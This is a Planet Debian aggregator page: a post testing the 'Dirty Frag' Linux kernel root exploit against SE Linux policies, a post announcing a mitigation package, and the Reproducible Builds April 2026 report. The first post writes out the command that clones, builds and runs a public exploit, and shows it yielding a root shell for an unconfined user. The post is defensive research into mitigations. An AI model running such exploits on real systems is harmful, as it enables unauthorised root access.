08 May 2026
Planet Debian
Russell Coker: Dirty Frag on Debian and SE Linux
Hot on the heels of the Copy Fail vulnerability [1] there is a new vulnerability Dirty Frag [2] (I linked to the Alma Linux page because it's the first one I saw and it explains things well).
The Test System
The test system was running kernel 6.19.14+deb14-amd64 and had the configuration after my last test of Copy Fail which was a default configuration with the following commands run:
semanage login -m -s user_u -r s0 __default__ restorecon -R -v -F /home semanage login -m -s root -r s0 root # logout and login again semodule -X 100 -r unconfined
Strict Policy is Not Vulnerable
I did a quick test on a Debian SE Linux system with a user running as user_t (which is often referred to as "strict policy") and got the following result:
test@testing1:~/t$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 11.47 MiB/s, done. Resolving deltas: 100% (9/9), done. dirtyfrag: failed (rc=1) test@testing1:~/t/dirtyfrag$ ./exp dirtyfrag: failed (rc=1)
I checked the audit log and saw the following:
# audit2allow -al #============= user_t ============== allow user_t self:rxrpc_socket create; allow user_t self:user_namespace create;
It seems that the rxrpc_socket access is the main thing.
I did a search for domains permitted to use that class on a system without unconfined domains and saw the following:
# sesearch -A -c rxrpc_socket
allow daemon init_t:rxrpc_socket { getattr getopt ioctl read setopt write };
allow devicekit_disk_t domain:rxrpc_socket getattr;
allow sosreport_t domain:rxrpc_socket getattr;
allow sysadm_t domain:rxrpc_socket getattr;
This configuration doesn't appear to be vulnerable, at least to this form of the attack.
Unconfined Domains
I reinstalled the unconfined policy with the following command and assigned it to the user test2 with the following commands:
semodule -X 100 -i /usr/share/selinux/default/unconfined.pp.bz2 semanage login -a -s unconfined_u test2 restorecon -R -v -F /home/test2
I then tested the exploit as user test2 and got the following result:
test2@testing1:~$ git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp Cloning into 'dirtyfrag'... remote: Enumerating objects: 26, done. remote: Counting objects: 100% (26/26), done. remote: Compressing objects: 100% (20/20), done. remote: Total 26 (delta 9), reused 23 (delta 6), pack-reused 0 (from 0) Receiving objects: 100% (26/26), 5.83 MiB | 16.57 MiB/s, done. Resolving deltas: 100% (9/9), done. # id uid=0(root) gid=0(root) groups=0(root) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 #
The kernel message log had the following lines from the time of the attack:
[ 1310.861545] Initializing XFRM netlink socket [ 1310.909048] alg: No test for authencesn(hmac(sha256),cbc(aes)) (authencesn(hmac-sha256-lib,cbc-aes-aesni)) [ 1310.909935] alg: No test for echainiv(authencesn(hmac(sha256),cbc(aes))) (echainiv(authencesn(hmac-sha256-lib,cbc-aes-aesni))) [ 1318.353602] process 'su' launched '/bin/sh' with NULL argv: empty string added
Conclusion
It seems that we will be getting a lot of these so running SE Linux users as user_t is the right thing to do for servers and multi user systems.
- [1] https://etbe.coker.com.au/2026/05/04/copy-fail-on-debian-and-se-linux/
- [2] https://almalinux.org/blog/2026-05-07-dirty-frag/
08 May 2026 5:11am GMT
Daniel Baumann: Debian: Linux Vulnernability Mitigation (Dirty Frag)
After Copy Fail from last week, the new Linux local root privilege escalation of today is Dirty Frag.
For those who can not update to linux >= 7.0.4 that was uploaded to sid (backports for trixie are available in trixie-fastforward-backports), or are waiting for backports and updates to older Debian releases, or can't reboot on short notice, mitigations might be needed.
Given the current trend, it seems we will see more of these bugs in the future. Therefore, I've uploaded a new package linux-vulnerability-mitigation to sid containing the mitigation for both Copy Fail and Dirty Frag (with debconf multiselect).
Until it passed NEW, it can also be downloaded from here:
The package is architecture independent, has no dependencies, and can be installed on any version of Debian or Debian derivative.
08 May 2026 12:00am GMT
07 May 2026
Planet Debian
Reproducible Builds: Reproducible Builds in April 2026
Welcome to our April 2026 report from the Reproducible Builds project!
Our reports outline what we've been up to over the past month, highlighting items of news from elsewhere in the increasingly-important area of software supply-chain security. As ever, if you are interested in contributing to the Reproducible Builds project, please see the Contribute page on our website.
In this month's report, we cover:
- Tor stateless relays and Reproducible Builds
- Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
- Reproducible Builds at LinuxFest NorthWest
- Reproducibility issues in Rust binaries that embed random bytes
- Distribution work
- Patches
- diffoscope development
- Documentation updates
- Misc news
Tor stateless relays and Reproducible Builds
An interesting post was published on Tor Project blog by Osservatorio Nessuno OdV this month on "stateless relays". These are stateless, diskless operating systems that are designed to be used as Tor exit relays. According to the post, which is titled A Server That Forgets: Exploring Stateless Relays:
For relay operators, this approach raises the security bar by enforcing better behaviors by design: […]
- Reproducibility. A system that doesn't change between reboots is easier to verify and, eventually, to reproduce and audit.
Furthermore, using a Trusted Platform Module (TPM), could allow for greater integrity in the future:
Transparency logs. Once you have a measured boot chain, you can publish it. A relay operator provides a recipe for a reproducible build; anyone can recompute the expected hash and verify it matches what the TPM reports. An append-only transparency log can make these attestations publicly auditable. The Tor community could run an independent monitor to track this across the relay fleet.
Civil Infrastructure Platform celebrates 10 years of supporting industrial grade Linux
Congratulations to the Civil Infrastructure Platform (CIP) for reaching their 10-year anniversary last month. CIP has been a supporter of Reproducible Builds for many years, and we have collaborated on a number of technical issues that overlap. As Chris Lamb mentions in CIP's press release:
The collaboration between the Reproducible Builds project and CIP highlights a critical shift in how we approach industrial software. Through verifiability, CIP ensures that the open source foundation of our critical infrastructure is not only sustainable but also demonstrably secure. This commitment to transparency is vital for the trust and resilience required by critical systems over decades of operation."
Reproducible Builds at LinuxFest NorthWest
Vagrant Cascadian and Chris Lamb hosted a table in the exposition hall at LinuxFest NorthWest 2026 this month in Bellingham, WA, USA, introducing many people to Reproducible Builds and answering questions both days of the conference.
In addition, Vagrant presented Beyond Trusting Open Source Software on Sunday afternoon, exploring the intersection of Free/Open Source Software, Reproducible Builds and Bootstrappable builds, and how they all reinforce each other. Vagrant's slides are available online, including source code to build them reproducibly.
Reproducibility issues in Rust binaries that embed random bytes
Reproducible Builds developer kpcyrd opened a ticket on the Rustsec issue tracker regarding binaries that deliberately inject random bytes into their binaries "as a secret seed for a Hash Collision DoS mitigation."
As kpcyrd notes in his message, this causes issues for reproducibility, and because the relevant end-user binaries are "mostly distributed pre-compiled through package managers, those binaries (and by extension the secret seed) are public knowledge". kpcyrd goes on to note:
This is somewhat unique to Rust because Python/JavaScript doesn't compile binaries, and Go (to my knowledge) is too restrictive during build for any library to pull something like this.
Distribution work
In Arch Linux this month, Robin Candau and Mark Hegreberg worked at adding a new repro tag/version to the Arch Linux Docker images providing a bit-for-bit reproducible image. Robin also shared a related announcement and implementation details on our mailing list.
Arch Linux developer Robin Candau posted a blog post announcing that "Arch Linux Now Has a Bit-for-Bit Reproducible Docker Image". Robin mentions one interesting caveat:
to ensure reproducibility, the
pacman[package manager] keys have to be stripped from the image, meaning thatpacmanis not usable out of the box in this image. While waiting to find a suitable solution to this technical constraint, we are therefore providing this reproducible image under a dedicated tag as a first milestone. […]
The blog post was also discussed on Hacker News.
In Debian this month, 24 reviews of Debian packages were added, 7 were updated and 16 were removed this month adding to our knowledge about identified issues.
Vagrant Cascadian performed Non-Maintainer Uploads (NMUs) in Debian for several packages with outstanding patches over a year old jakarta-jmeter, wxmplot, critcl, vcsh and magic-wormhole-transit-relay.
In addition, Reproducible Builds developer Jochen Sprickerhof filed a bug against the APT package manager to request that "APT should ignore [a] 0 epoch when downloading or installing with a version specifier". This is related to the special-case handling of the optional epoch prefix in Debian package version numbers.
In NixOS, Julien Malka presented Lila: Decentralized Build Reproducibility Monitoring for the Functional Package Management Model, a paper written together with Arnout Engelen at the Mining Software Repositories (MSR) ACM conference, where it was awarded the MSR 2026 FOSS Impact Award. Congratulations!
Lastly, in openSUSE, Michael Schroeder added reproducibility verification support in the Open Build Service […] and Bernhard M. Wiedemann posted another openSUSE monthly update for their reproducibility work there.
Patches
The Reproducible Builds project detects, dissects and attempts to fix as many currently-unreproducible packages as possible. We endeavour to send all of our patches upstream where applicable or possible. This month, we wrote a large number of such patches, including:
-
Bernhard M. Wiedemann:
-
Chris Lamb:
- #1132876 filed against
wapiti. - #1133008 filed against
mage. - #1133174 filed against
vim-youcompleteme. - #1133958 filed against
python-observabilityclient. - #1133960 filed against
gwcs. - #1134236 filed against
php-dompdf. - #1134490 filed against
supercell. - #1134552 filed against
gunicorn. - #1134666 filed against
fonts-spleen. - #1134667 filed against
geoalchemy2. - #1134668 filed against
rust-opam-file-rs. - #1135003 filed against
spaln. - #1135104 filed against
python-msgspec. - #1135192 filed against
golang-github-go-ini-ini. - #1135193 filed against
golang-github-deruina-timberjack. - #1135269 filed against
ruby-timers. - #1135279 filed against
node-yarnpkg.
- #1132876 filed against
-
Jochen Sprickerhof:
-
Michael Schroeder:
-
Robin Candau:
-
Chris Lamb and Vagrant Cascadian:
-
Manuel Jacob
binutils(considerSOURCE_DATE_EPOCHwhen emitting static library archive header)
diffoscope development
diffoscope is our in-depth and content-aware diff utility that can locate and diagnose reproducibility issues. This month, Chris Lamb made a number of changes, including preparing and uploading versions, 316, 317 and 318 to Debian.
-
Chris Lamb:
-
Holger Levsen:
- Add
ppc64elto the list ofpython3-guestfsarchitecture whitelist. (Closes: #1132974). […]
- Add
In addition, Vagrant Cascadian updated diffoscope in GNU Guix to version 317.
Documentation updates
Yet again, there were a number of improvements made to our website this month including:
-
Manuel Jacob:
- Fix some minor wording issues on the Stable inputs page, and update information about the sorting behavior of GNU Make […].
- On the Archives page, remove information about deterministic archives in historical Fedora versions […], add a note about
.tarfile portability […] and correct a section about.tarPAX headers […].
-
Mattia Rizzolo:
- Add a basic draft, subject to change, of the 2026 Gothenberg Summit event page. […][…]
-
kpcyrd:
- Remove a link from the 2026 Gothenberg Summit event page. […]
-
ktecho:
- Add WalletScrutiny.com to the Projects page. […]
Misc news
On our mailing list this month:
-
Timo Pohl posted our list inviting people to "online group discussions with 4-6 participants each to talk about your perception of terms and requirements for reproducibility." As Timo notes:
During our research of the existing literature, as well as my experience at the Reproducible Builds Summit 2025 in Vienna, we noticed that some of the terminology in the field is not used consistently across different groups of people, and that the precise meaning of some core terms like "reproducibility of an artifact" in itself is not uniform.
As Timo mentions, the sessions will last roughly 90 minutes and will be rewarded with 50€ per participant.
-
kpcyrd posted to the list asking for assistance with fixing an issue after updating the
flake.lockfile for theirrepro-envproject. -
Aman Sharma of the KTH Royal Institute of Technology, Sweden, posted to our list in order to share that Eric Cornelissen, a PhD student in KTH's CHAINS group, is maintaining an open-source project to monitor the reproducibility of GitHub Actions:
The goal of the project is to assess whether GitHub Actions can be reproduced. Currently, it focuses on two types of Actions: JavaScript-based actions and Docker-based actions (composite actions are not considered). For JavaScript actions, the project rebuilds the distributed files and compares them bit-by-bit with the repository contents. For Docker actions, it rebuilds images from the
Dockerfileand checks for semantic equivalence, usingdiffoci, across builds.
Finally, if you are interested in contributing to the Reproducible Builds project, please visit our Contribute page on our website. However, you can get in touch with us via:
-
IRC:
#reproducible-buildsonirc.oftc.net. -
Mastodon: @reproducible_builds@fosstodon.org
-
Mailing list:
rb-general@lists.reproducible-builds.org
07 May 2026 9:16pm GMT









